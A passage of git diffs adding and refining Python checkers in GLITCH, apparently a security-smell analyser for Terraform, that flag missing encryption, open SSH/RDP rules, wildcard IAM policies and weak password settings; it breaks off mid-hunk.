a/glitch/analysis/terraform/missing_encryption.py b/glitch/analysis/terraform/missing_encryption.py new file mode 100644 index 00000000..bc61a731 --- /dev/null +++ b/glitch/analysis/terraform/missing_encryption.py @@ -0,0 +1,86 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformMissingEncryption(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_s3_bucket"): + expr = "\${aws_s3_bucket\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + r = self.get_associated_au(code, file, "resource.aws_s3_bucket_server_side_encryption_configuration", + "bucket", pattern, [""]) + if not r: + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_s3_bucket_server_side_encryption_configuration' " + + f"associated to an 'aws_s3_bucket' resource.")) + elif (element.type == "resource.aws_eks_cluster"): + resources = self.check_required_attribute(element.attributes, ["encryption_config"], "resources[0]") + if resources: + i = 0 + valid = False + while resources: + a = resources + if resources.value.lower() == "secrets": + valid = True + break + i += 1 + resources = self.check_required_attribute(element.attributes, ["encryption_config"], f"resources[{i}]") + if not valid: + errors.append(Error('sec_missing_encryption', a, file, repr(a))) + else: + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'encryption_config.resources'.")) + elif (element.type in ["resource.aws_instance", "resource.aws_launch_configuration"]): + ebs_block_device = self.check_required_attribute(element.attributes, [""], "ebs_block_device") + if ebs_block_device: + encrypted = self.check_required_attribute(ebs_block_device.keyvalues, [""], "encrypted") + if not encrypted: + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'ebs_block_device.encrypted'.")) + elif (element.type == "resource.aws_ecs_task_definition"): + volume = self.check_required_attribute(element.attributes, [""], "volume") + if volume: + efs_volume_config = self.check_required_attribute(volume.keyvalues, [""], "efs_volume_configuration") + if efs_volume_config: + transit_encryption = self.check_required_attribute(efs_volume_config.keyvalues, [""], "transit_encryption") + if not transit_encryption: + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required attribute with name" + + f"'volume.efs_volume_configuration.transit_encryption'.")) + + for config in SecurityVisitor._MISSING_ENCRYPTION: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_missing_encryption', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._MISSING_ENCRYPTION: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + errors.append(Error('sec_missing_encryption', element, file, repr(element))) + break + elif ("any_not_empty" not in config['values'] and not element.has_variable + and elem_value.lower() not in config['values']): + errors.append(Error('sec_missing_encryption', element, file, repr(element))) + break + + for item in SecurityVisitor._CONFIGURATION_KEYWORDS: + if item.lower() == elem_name: + for config in SecurityVisitor._ENCRYPT_CONFIG: + if au_type in config['au_type']: + expr = config['keyword'].lower() + "\s*" + config['value'].lower() + pattern = re.compile(rf"{expr}") + if not re.search(pattern, elem_value) and config['required'] == "yes": + errors.append(Error('sec_missing_encryption', element, file, repr(element))) + break + elif re.search(pattern, elem_value) and config['required'] == "must_not_exist": + errors.append(Error('sec_missing_encryption', element, file, repr(element))) + break + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/naming.py b/glitch/analysis/terraform/naming.py new file mode 100644 index 00000000..db04b8dc --- /dev/null +++ b/glitch/analysis/terraform/naming.py @@ -0,0 +1,53 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformNaming(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_security_group"): + ingress = self.check_required_attribute(element.attributes, [""], "ingress") + egress = self.check_required_attribute(element.attributes, [""], "egress") + if ingress and not self.check_required_attribute(ingress.keyvalues, [""], "description"): + errors.append(Error('sec_naming', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'ingress.description'.")) + if egress and not self.check_required_attribute(egress.keyvalues, [""], "description"): + errors.append(Error('sec_naming', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'egress.description'.")) + elif (element.type == "resource.google_container_cluster"): + resource_labels = self.check_required_attribute(element.attributes, [""], "resource_labels", None) + if resource_labels and resource_labels.value == None: + if resource_labels.keyvalues == []: + errors.append(Error('sec_naming', resource_labels, file, repr(resource_labels), + f"Suggestion: check empty 'resource_labels'.")) + else: + errors.append(Error('sec_naming', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'resource_labels'.")) + + for config in SecurityVisitor._NAMING: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_naming', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + if (elem_name == "name" and au_type in ["resource.azurerm_storage_account"]): + pattern = r'^[a-z0-9]{3,24}$' + if not re.match(pattern, elem_value): + errors.append(Error('sec_naming', element, file, repr(element))) + + for config in SecurityVisitor._NAMING: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + errors.append(Error('sec_naming', element, file, repr(element))) + break + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + errors.append(Error('sec_naming', element, file, repr(element))) + break + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/network_policy.py b/glitch/analysis/terraform/network_policy.py new file mode 100644 index 00000000..e4ab67bd --- /dev/null +++ b/glitch/analysis/terraform/network_policy.py @@ -0,0 +1,63 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformNetworkSecurityRules(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.azurerm_network_security_rule"): + access = self.check_required_attribute(element.attributes, [""], "access") + if (access and access.value.lower() == "allow"): + protocol = self.check_required_attribute(element.attributes, [""], "protocol") + if (protocol and protocol.value.lower() == "udp"): + errors.append(Error('sec_network_security_rules', access, file, repr(access))) + elif (protocol and protocol.value.lower() == "tcp"): + dest_port_range = self.check_required_attribute(element.attributes, [""], "destination_port_range") + dest_port_ranges = self.check_required_attribute(element.attributes, [""], "destination_port_ranges[0]") + port = False + if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): + port = True + if dest_port_ranges: + i = 1 + while dest_port_ranges: + if dest_port_ranges.value.lower() in ["22", "3389", "*"]: + port = True + break + i += 1 + dest_port_ranges = self.check_required_attribute(element.attributes, [""], f"destination_port_ranges[{i}]") + if port: + source_address_prefix = self.check_required_attribute(element.attributes, [""], "source_address_prefix") + if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] + or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): + errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) + elif (element.type == "resource.azurerm_network_security_group"): + access = self.check_required_attribute(element.attributes, ["security_rule"], "access") + if (access and access.value.lower() == "allow"): + protocol = self.check_required_attribute(element.attributes, ["security_rule"], "protocol") + if (protocol and protocol.value.lower() == "udp"): + errors.append(Error('sec_network_security_rules', access, file, repr(access))) + elif (protocol and protocol.value.lower() == "tcp"): + dest_port_range = self.check_required_attribute(element.attributes, ["security_rule"], "destination_port_range") + if (dest_port_range and dest_port_range.value.lower() in ["22", "3389", "*"]): + source_address_prefix = self.check_required_attribute(element.attributes, [""], "source_address_prefix") + if (source_address_prefix and (source_address_prefix.value.lower() in ["*", "/0", "internet", "any"] + or re.match(r'^0.0.0.0', source_address_prefix.value.lower()))): + errors.append(Error('sec_network_security_rules', source_address_prefix, file, repr(source_address_prefix))) + + for rule in SecurityVisitor._NETWORK_SECURITY_RULES: + if (rule['required'] == "yes" and element.type in rule['au_type'] + and not self.check_required_attribute(element.attributes, rule['parents'], rule['attribute'])): + errors.append(Error('sec_network_security_rules', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{rule['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for rule in SecurityVisitor._NETWORK_SECURITY_RULES: + if (elem_name == rule['attribute'] and au_type in rule['au_type'] and parent_name in rule['parents'] + and not element.has_variable and elem_value.lower() not in rule['values'] and rule['values'] != [""]): + return [Error('sec_network_security_rules', element, file, repr(element))] + + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/permission_iam_policies.py b/glitch/analysis/terraform/permission_iam_policies.py new file mode 100644 index 00000000..a7a0ecde --- /dev/null +++ b/glitch/analysis/terraform/permission_iam_policies.py @@ -0,0 +1,35 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformPermissionIAMPolicies(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_iam_user"): + expr = "\${aws_iam_user\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + assoc_au = self.get_associated_au(code, file, "resource.aws_iam_user_policy", "user", pattern, [""]) + if assoc_au: + a = self.check_required_attribute(assoc_au.attributes, [""], "user", None, pattern) + errors.append(Error('sec_permission_iam_policies', a, file, repr(a))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + if ((elem_name == "member" or elem_name.split('[')[0] == "members") + and au_type in SecurityVisitor._GOOGLE_IAM_MEMBER + and (re.search(r".-compute@developer.gserviceaccount.com", elem_value) or + re.search(r".@appspot.gserviceaccount.com", elem_value) or + re.search(r"user:", elem_value))): + errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) + + for config in SecurityVisitor._PERMISSION_IAM_POLICIES: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ((config['logic'] == "equal" and not element.has_variable and elem_value.lower() not in config['values']) + or (config['logic'] == "diff" and elem_value.lower() in config['values'])): + errors.append(Error('sec_permission_iam_policies', element, file, repr(element))) + break + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/public_ip.py b/glitch/analysis/terraform/public_ip.py new file mode 100644 index 00000000..e630db31 --- /dev/null +++ b/glitch/analysis/terraform/public_ip.py @@ -0,0 +1,28 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformPublicIp(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._PUBLIC_IP_CONFIGS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_public_ip', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + elif (config['required'] == "must_not_exist" and element.type in config['au_type']): + a = self.check_required_attribute(element.attributes, config['parents'], config['attribute']) + if a: + errors.append(Error('sec_public_ip', a, file, repr(a))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._PUBLIC_IP_CONFIGS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and not element.has_variable + and elem_value.lower() not in config['values'] + and config['values'] != [""]): + return [Error('sec_public_ip', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/replication.py b/glitch/analysis/terraform/replication.py new file mode 100644 index 00000000..512fe0c2 --- /dev/null +++ b/glitch/analysis/terraform/replication.py @@ -0,0 +1,33 @@ +import re +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformReplication(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type == "resource.aws_s3_bucket"): + expr = "\${aws_s3_bucket\." + f"{elem_name}\." + pattern = re.compile(rf"{expr}") + if not self.get_associated_au(code, file, "resource.aws_s3_bucket_replication_configuration", + "bucket", pattern, [""]): + errors.append(Error('sec_replication', element, file, repr(element), + f"Suggestion: check for a required resource 'aws_s3_bucket_replication_configuration' " + + f"associated to an 'aws_s3_bucket' resource.")) + + for config in SecurityVisitor._REPLICATION: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_replication', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._REPLICATION: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and not element.has_variable and elem_value.lower() not in config['values']): + return [Error('sec_replication', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/sensitive_iam_action.py b/glitch/analysis/terraform/sensitive_iam_action.py new file mode 100644 index 00000000..e415b817 --- /dev/null +++ b/glitch/analysis/terraform/sensitive_iam_action.py @@ -0,0 +1,80 @@ +import json +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformSensitiveIAMAction(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + + def convert_string_to_dict(input_string): + cleaned_string = input_string.strip() + try: + dict_data = json.loads(cleaned_string) + return dict_data + except json.JSONDecodeError as e: + return None + + if isinstance(element, AtomicUnit): + if (element.type == "data.aws_iam_policy_document"): + statements = self.check_required_attribute(element.attributes, [""], "statement", return_all=True) + if statements: + for statement in statements: + allow = self.check_required_attribute(statement.keyvalues, [""], "effect") + if ((allow and allow.value.lower() == "allow") or (not allow)): + sensitive_action = False + i = 0 + action = self.check_required_attribute(statement.keyvalues, [""], f"actions[{i}]") + while action: + if ("*" in action.value.lower()): + sensitive_action = True + break + i += 1 + action = self.check_required_attribute(statement.keyvalues, [""], f"actions[{i}]") + if sensitive_action: + errors.append(Error('sec_sensitive_iam_action', action, file, repr(action))) + wildcarded_resource = False + i = 0 + resource = self.check_required_attribute(statement.keyvalues, [""], f"resources[{i}]") + while resource: + if (resource.value.lower() in ["*"]) or (":*" in resource.value.lower()): + wildcarded_resource = True + break + i += 1 + resource = self.check_required_attribute(statement.keyvalues, [""], f"resources[{i}]") + if wildcarded_resource: + errors.append(Error('sec_sensitive_iam_action', resource, file, repr(resource))) + elif (element.type in ["resource.aws_iam_role_policy", "resource.aws_iam_policy", + "resource.aws_iam_user_policy", "resource.aws_iam_group_policy"]): + policy = self.check_required_attribute(element.attributes, [""], "policy") + if policy: + policy_dict = convert_string_to_dict(policy.value.lower()) + if policy_dict and policy_dict["statement"]: + statements = policy_dict["statement"] + if isinstance(statements, dict): + statements = [statements] + for statement in statements: + if statement["effect"] and statement["action"] and statement["resource"]: + if statement["effect"] == "allow": + if isinstance(statement["action"], list): + for action in statement["action"]: + if ("*" in action): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + break + else: + if ("*" in statement["action"]): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + if isinstance(statement["resource"], list): + for resource in statement["resource"]: + if (resource in ["*"]) or (":*" in resource): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + break + else: + if (statement["resource"] in ["*"]) or (":*" in statement["resource"]): + errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + pass + + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/smell_checker.py b/glitch/analysis/terraform/smell_checker.py new file mode 100644 index 00000000..0cae316f --- /dev/null +++ b/glitch/analysis/terraform/smell_checker.py @@ -0,0 +1,88 @@ +import os +import re +from glitch.repr.inter import * +from glitch.analysis.rules import Error, SmellChecker + +class TerraformSmellChecker(SmellChecker): + def get_au(self, c, file: str, name: str, type: str): + if isinstance(c, Project): + module_name = os.path.basename(os.path.dirname(file)) + for m in c.modules: + if m.name == module_name: + return self.get_au(m, file, name, type) + elif isinstance(c, Module): + for ub in c.blocks: + au = self.get_au(ub, file, name, type) + if au: + return au + elif isinstance(c, UnitBlock): + for au in c.atomic_units: + if (au.type == type and au.name == name): + return au + return None + + def get_associated_au(self, code, file: str, type: str, attribute_name: str , pattern, attribute_parents: list): + if isinstance(code, Project): + module_name = os.path.basename(os.path.dirname(file)) + for m in code.modules: + if m.name == module_name: + return self.get_associated_au(m, file, type, attribute_name, pattern, attribute_parents) + elif isinstance(code, Module): + for ub in code.blocks: + au = self.get_associated_au(ub, file, type, attribute_name, pattern, attribute_parents) + if au: + return au + elif isinstance(code, UnitBlock): + for au in code.atomic_units: + if (au.type == type and self.check_required_attribute( + au.attributes, attribute_parents, attribute_name, None, pattern)): + return au + return None + + def get_attributes_with_name_and_value(self, attributes, parents, name, value = None, pattern = None): + aux = [] + for a in attributes: + if a.name.split('dynamic.')[-1] == name and parents == [""]: + if ((value and a.value.lower() == value) or (pattern and re.match(pattern, a.value.lower()))): + aux.append(a) + elif ((value and a.value.lower() != value) or (pattern and not re.match(pattern, a.value.lower()))): + continue + elif (not value and not pattern): + aux.append(a) + elif a.name.split('dynamic.')[-1] in parents: + aux += self.get_attributes_with_name_and_value(a.keyvalues, [""], name, value, pattern) + elif a.keyvalues != []: + aux += self.get_attributes_with_name_and_value(a.keyvalues, parents, name, value, pattern) + return aux + + def check_required_attribute(self, attributes, parents, name, value = None, pattern = None, return_all = False): + attributes = self.get_attributes_with_name_and_value(attributes, parents, name, value, pattern) + if attributes != []: + if return_all: + return attributes + return attributes[0] + else: + return None + + def check_database_flags(self, au: AtomicUnit, file: str, smell: str, flag_name: str, safe_value: str, + required_flag = True): + database_flags = self.get_attributes_with_name_and_value(au.attributes, ["settings"], "database_flags") + found_flag = False + errors = [] + if database_flags != []: + for flag in database_flags: + name = self.check_required_attribute(flag.keyvalues, [""], "name", flag_name) + if name: + found_flag = True + value = self.check_required_attribute(flag.keyvalues, [""], "value") + if value and value.value.lower() != safe_value: + errors.append(Error(smell, value, file, repr(value))) + break + elif not value and required_flag: + errors.append(Error(smell, flag, file, repr(flag), + f"Suggestion: check for a required attribute with name 'value'.")) + break + if not found_flag and required_flag: + errors.append(Error(smell, au, file, repr(au), + f"Suggestion: check for a required flag '{flag_name}'.")) + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/ssl_tls_policy.py b/glitch/analysis/terraform/ssl_tls_policy.py new file mode 100644 index 00000000..f5b56ca2 --- /dev/null +++ b/glitch/analysis/terraform/ssl_tls_policy.py @@ -0,0 +1,31 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformSslTlsPolicy(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + if (element.type in ["resource.aws_alb_listener", "resource.aws_lb_listener"]): + protocol = self.check_required_attribute(element.attributes, [""], "protocol") + if (protocol and protocol.value.lower() in ["https", "tls"]): + ssl_policy = self.check_required_attribute(element.attributes, [""], "ssl_policy") + if not ssl_policy: + errors.append(Error('sec_ssl_tls_policy', element, file, repr(element), + f"Suggestion: check for a required attribute with name 'ssl_policy'.")) + + for policy in SecurityVisitor._SSL_TLS_POLICY: + if (policy['required'] == "yes" and element.type in policy['au_type'] + and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_ssl_tls_policy', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for policy in SecurityVisitor._SSL_TLS_POLICY: + if (elem_name == policy['attribute'] and au_type in policy['au_type'] + and parent_name in policy['parents'] and not element.has_variable + and elem_value.lower() not in policy['values']): + return [Error('sec_ssl_tls_policy', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/threats_detection.py b/glitch/analysis/terraform/threats_detection.py new file mode 100644 index 00000000..b3de5392 --- /dev/null +++ b/glitch/analysis/terraform/threats_detection.py @@ -0,0 +1,30 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformThreatsDetection(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_threats_detection_alerts', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + elif (config['required'] == "must_not_exist" and element.type in config['au_type']): + a = self.check_required_attribute(element.attributes, config['parents'], config['attribute']) + if a: + errors.append(Error('sec_threats_detection_alerts', a, file, repr(a))) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._MISSING_THREATS_DETECTION_ALERTS: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""]): + if ("any_not_empty" in config['values'] and elem_value.lower() == ""): + return [Error('sec_threats_detection_alerts', element, file, repr(element))] + elif ("any_not_empty" not in config['values'] and not element.has_variable and + elem_value.lower() not in config['values']): + return [Error('sec_threats_detection_alerts', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/versioning.py b/glitch/analysis/terraform/versioning.py new file mode 100644 index 00000000..d5a9582a --- /dev/null +++ b/glitch/analysis/terraform/versioning.py @@ -0,0 +1,22 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformVersioning(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for config in SecurityVisitor._VERSIONING: + if (config['required'] == "yes" and element.type in config['au_type'] + and not self.check_required_attribute(element.attributes, config['parents'], config['attribute'])): + errors.append(Error('sec_versioning', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{config['msg']}'.")) + elif isinstance(element, Attribute) or isinstance(element, Variable): + for config in SecurityVisitor._VERSIONING: + if (elem_name == config['attribute'] and au_type in config['au_type'] + and parent_name in config['parents'] and config['values'] != [""] + and not element.has_variable and elem_value.lower() not in config['values']): + return [Error('sec_versioning', element, file, repr(element))] + return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/weak_password_key_policy.py b/glitch/analysis/terraform/weak_password_key_policy.py new file mode 100644 index 00000000..ca953936 --- /dev/null +++ b/glitch/analysis/terraform/weak_password_key_policy.py @@ -0,0 +1,36 @@ +from glitch.analysis.terraform.smell_checker import TerraformSmellChecker +from glitch.analysis.rules import Error +from glitch.analysis.security import SecurityVisitor +from glitch.repr.inter import AtomicUnit, Attribute, Variable + + +class TerraformWeakPasswordKeyPolicy(TerraformSmellChecker): + def check(self, element, file: str, code, elem_name: str, elem_value: str = "", au_type = None, parent_name = ""): + errors = [] + if isinstance(element, AtomicUnit): + for policy in SecurityVisitor._PASSWORD_KEY_POLICY: + if (policy['required'] == "yes" and element.type in policy['au_type'] + and not self.check_required_attribute(element.attributes, policy['parents'], policy['attribute'])): + errors.append(Error('sec_weak_password_key_policy', element, file, repr(element), + f"Suggestion: check for a required attribute with name '{policy['msg']}'.")) + + elif isinstance(element, Attribute) or isinstance(element, Variable): + for policy in SecurityVisitor._PASSWORD_KEY_POLICY: + if (elem_name == policy['attribute'] and au_type in policy['au_type'] + and parent_name in policy['parents'] and policy['values'] != [""]): + if (policy['logic'] == "equal"): + if ("any_not_empty" in policy['values'] and elem_value.lower() == ""): + return [Error('sec_weak_password_key_policy', element, file, repr(element))] + elif ("any_not_empty" not in policy['values'] and not element.has_variable and + elem_value.lower() not in policy['values']): + return [Error('sec_weak_password_key_policy', element, file, repr(element))] + elif ((policy['logic'] == "gte" and not elem_value.isnumeric()) or + (policy['logic'] == "gte" and elem_value.isnumeric() + and int(elem_value) < int(policy['values'][0]))): + return [Error('sec_weak_password_key_policy', element, file, repr(element))] + elif ((policy['logic'] == "lte" and not elem_value.isnumeric()) or + (policy['logic'] == "lte" and elem_value.isnumeric() + and int(elem_value) > int(policy['values'][0]))): + return [Error('sec_weak_password_key_policy', element, file, repr(element))] + + return errors \ No newline at end of file From b093e4247356373a7c66a18706b2c0652c7dce3a Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Thu, 14 Mar 2024 15:52:53 +0000 Subject: [PATCH 50/58] remove pass blocks --- glitch/analysis/terraform/attached_resource.py | 2 -- glitch/analysis/terraform/sensitive_iam_action.py | 3 --- 2 files changed, 5 deletions(-) diff --git a/glitch/analysis/terraform/attached_resource.py b/glitch/analysis/terraform/attached_resource.py index 38be2997..b8341a16 100644 --- a/glitch/analysis/terraform/attached_resource.py +++ b/glitch/analysis/terraform/attached_resource.py @@ -28,6 +28,4 @@ def check_attached_resource(attributes, resource_types): if type_A and not check_attached_resource(element.attributes, SecurityVisitor._POSSIBLE_ATTACHED_RESOURCES): errors.append(Error('sec_attached_resource', element, file, repr(element))) - elif isinstance(element, Attribute) or isinstance(element, Variable): - pass return errors \ No newline at end of file diff --git a/glitch/analysis/terraform/sensitive_iam_action.py b/glitch/analysis/terraform/sensitive_iam_action.py index e415b817..1ab3428f 100644 --- a/glitch/analysis/terraform/sensitive_iam_action.py +++ b/glitch/analysis/terraform/sensitive_iam_action.py @@ -74,7 +74,4 @@ def convert_string_to_dict(input_string): if (statement["resource"] in ["*"]) or (":*" in statement["resource"]): errors.append(Error('sec_sensitive_iam_action', policy, file, repr(policy))) - elif isinstance(element, Attribute) or isinstance(element, Variable): - pass - return errors \ No newline at end of file From 70b2ff4a279ec48562408bd4dd38fdb8c94bc309 Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Thu, 14 Mar 2024 16:09:52 +0000 Subject: [PATCH 51/58] add is not None --- glitch/analysis/security.py | 10 ++++----- glitch/analysis/terraform/access_control.py | 4 ++-- glitch/analysis/terraform/logging.py | 22 +++++++++---------- .../analysis/terraform/missing_encryption.py | 8 +++---- glitch/analysis/terraform/network_policy.py | 4 ++-- .../terraform/permission_iam_policies.py | 2 +- glitch/analysis/terraform/public_ip.py | 2 +- .../terraform/sensitive_iam_action.py | 4 ++-- glitch/analysis/terraform/smell_checker.py | 6 ++--- .../analysis/terraform/threats_detection.py | 2 +- glitch/parsers/cmof.py | 2 +- 11 files changed, 33 insertions(+), 33 deletions(-) diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 29fa8c72..f267ff8c 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -207,7 +207,7 @@ def get_au(c, name: str, type: str): elif isinstance(c, Module): for ub in c.blocks: au = get_au(ub, name, type) - if au: + if au is not None: return au elif isinstance(c, UnitBlock): for au in c.atomic_units: @@ -224,7 +224,7 @@ def get_module_var(c, name: str): elif isinstance(c, Module): for ub in c.blocks: var = get_module_var(ub, name) - if var: + if var is not None: return var elif isinstance(c, UnitBlock): for var in c.variables: @@ -255,7 +255,7 @@ def get_module_var(c, name: str): if (item in SecurityVisitor.__PASSWORDS and len(value) == 0): errors.append(Error('sec_empty_pass', c, file, repr(c))) break - if var: + if var is not None: if (item in SecurityVisitor.__PASSWORDS and var.value != None and len(var.value) == 0): errors.append(Error('sec_empty_pass', c, file, repr(c))) break @@ -344,11 +344,11 @@ def check_unitblock(self, u: UnitBlock) -> List[Error]: missing_integrity_checks = {} for au in u.atomic_units: result = self.check_integrity_check(au, u.path) - if result: + if result is not None: missing_integrity_checks[result[0]] = result[1] continue file = SecurityVisitor.check_has_checksum(au) - if file: + if file is not None: if file in missing_integrity_checks: del missing_integrity_checks[file] diff --git a/glitch/analysis/terraform/access_control.py b/glitch/analysis/terraform/access_control.py index fe958294..49e05527 100644 --- a/glitch/analysis/terraform/access_control.py +++ b/glitch/analysis/terraform/access_control.py @@ -25,12 +25,12 @@ def check(self, element, file: str, code, elem_name: str, elem_value: str = "", f"Suggestion: check for a required attribute with name 'authorization'.")) elif (element.type == "resource.github_repository"): visibility = 